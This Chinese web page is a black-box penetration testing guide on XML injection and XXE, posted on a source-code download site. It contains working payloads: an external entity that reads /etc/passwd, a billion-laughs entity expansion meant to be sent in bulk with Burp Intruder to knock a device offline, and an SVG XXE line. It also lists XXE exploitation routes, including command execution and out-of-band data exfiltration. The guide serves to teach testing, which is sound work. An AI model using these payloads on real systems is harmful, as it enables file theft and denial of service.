源码仅用于测试,请勿用于商用。源码来自网络,如有侵权,请联系我下架。
黑盒渗透测试指导之XML注入

一.攻击场景

  • 直接发送XML请求
  1. 描述

    许多应用系统或组件均需要发送xml请求(get或post请求)到后台进行处理,通过识别前台发送至后台的xml请求,并使用代理拦截工具截取请求,利用XXE攻击方法修改xml请求体进行测试,

测试方法

首先查找直接发送xml请求的链接,例如抓到以下链接,如,https://127.0.0.1:8443/test/test.action其提交的post参数中有以下参数,如:

req=<?xml version=”1.0″ encoding=”UTF-8″>

<employees>

<employee>

<name>bcbccb.cn</name>

<sex>m</sex>

<age>30</age>

</employee>

</employees>

从参数体可以看出发送请求的内容是xml格式,这时如果系统支持回显那么可以发送以下请求:

<?xml version=”1.0″ encoding=”UTF-8″>

<!DOCTYPE mytest[

<!ELEMENT secret ANY>

<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>

<secTest>&xxe;</secTest>

<employees>

<employee>

<name>bcbccb.cn</name>

<sex>m</sex>

<age>30</age>

</employee>

</employees>

这时可在页面中显示linux服务器中的passwd文件的内容,导致操作系统的用户名等敏感信息的泄露。

举一反三,如果你能知道某文件的绝对路径,则可查看任意文件内容。

  • 上传xml文件

  1. 描述

    许多设备允许上传xml格式的配置文件进行固件升级,如果后台代码没有做任何过滤直接解析上传的xml配置文件,那么容易导致xml注入,利用xml注入发送超大字符串进行拒绝服务攻击,最终导致设备瘫痪。

2.测试方法

遍历系统功能有所查找可上传xml格式的功能模块,随意上传一个xml,用代理拦截工具,如burpsuite进行拦截,并修改xml内容为超大字符串,如以下代码:

<?xml version=”1.0″ encoding=”UTF-8″>

<!DOCUMENT something[

<!ENTITY x0 “Developers!”>

<!ENTITY x1 “&x0;&x0;”>

<!ENTITY x2 “&x1;&x1;”>

…….

<!ENTITY x100 “&x99;&x99;”>]>

<something>&x100;</something>

用burpsuite把请求发送到intruder,启动127个线程发送大量请求。

最终查看设备是否被访问变慢,是否被拒绝服务攻击了。

  • webservice接口
  1. 描述

    由于webservice接口传输的数据主要是xml数据,因此只要前台发送xml请求,后台处理xml请求就有可能存在xml注入。

  2. 测试方法

    除了使用如appscan,AWVS等工具进行扫描之外,还可以使用soapui之类的调试webservice的工具进行手动发送测试数据,测试方法其实和上述xml注入场景差不多,都是在发送到服务端的xml数据中插入攻击数据。

    如,插入新数据,绕过登录,发送长数据造成DDOS

  • 上传svg文件

某网站存在上传svg文件场景。

这时可以拦截请求,修改请求信息,插入以下代 码形成XXE注入攻击。

<!DOCUMENT svg[<!ENTITY test SYSTEM \”file:///etc/passwd\”>]>

  • 直接发送包含RSS文件的请求

    RSS基于xml标准,是在互联网上被广泛采用的内容包装和投递协议。RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的xml应用。

    某网站,允许用户使用自定义的RSS,通过在文件中引用外部实体,可造成XXE攻击。

  • XEE(XML实体膨胀)

    主要试图通过消耗目标程序的服务器环境来进行dos攻击。这种攻击通过在xml的DOCTYPE中创建自定义实体的定义实现,比如这种定义可以在内存中生成一个比xml的原始允许大小大出很多的xml结构,来使这种攻击得以消耗网络服务器正常有效运行的必须内存资源。

    如,添加如下代码:

    <!DOCTYPE root[<!ENTITY test “TestString”>]>

    上传后,系统返回错误,回显显示TestString

    上传dos攻击脚本,如这种:

<!ENTITY x1 “&x0;&x0;”>

<!ENTITY x2 “&x1;&x1;”>

…….

<!ENTITY x100 “&x99;&x99;”>]>

观察后台cpu占用率超过100%导致系统重启。

二.影响

可能导致越权添加数据,绕过登录。另外,可能导致应用系统被拒绝服务攻击,服务器信息泄露等等。

XXE利用方式,供参考:

  1. 使用file协议访问/dev/random或/dev/zero,进行拒绝服务攻击

  2. 上传xml解析炸弹,进行拒绝服务攻击

  3. 通过file协议访问根目录来目录枚举

  4. 通过http协议访问ip+port,进行端口内网扫描探索

  5. 通过jar协议造成文件上传动作

  6. 通过expect协议执行任意命令

  7. 通过http协议外带数据

  8. 利用php协议外带数据

  9. 利用ftp协议外带数据

  10. 利用gopher协议外带数据

阅读全文
资源下载
下载价格免费
使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责所有源码请自测!不保证你源码完整性有效性所有源码都是全网搜集
原文链接:https://bcbccb.cn/11517.html,转载请注明出处。 免责声明:本资源并未取得原始权利人的授权,不可商用,仅可用于学习分析底层代码,CSS等,禁止用于商业行为。如因擅自商用引起的相关纠纷及法律责任,由使用人全部承担。支持正版,人人有责,请于下载后24小时内删除,谢谢支持!
1
资源下载
下载价格免费
使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责所有源码请自测!不保证你源码完整性有效性所有源码都是全网搜集

评论0

【最新更新】ZN7号_微盘wp二开版带余额宝功能时间盘黄金期货数字火币交易+完整数据+k线正常
【最新更新】ZN7号_微盘wp二开版带余额宝功能时间盘黄金期货数字火币交易+完整数据+k线正常
6分钟前 有人购买 去瞅瞅看

站点公告

本站所提供的源码(主题/插件/应用源码)等资源仅供学习交流

禁止使用商业用途,否则产生的一切后果将由下载用户自行承担!

有部分资源为网上收集或仿制而来,若侵犯了您的合法权益,请来信通知我们.

目前会员大酬宾,终身会员现价299金币。近期调整价格

赶快加入,机会不等人! 立即参与

显示验证码
没有账号?注册  忘记密码?

社交账号快速登录

zh_CNChinese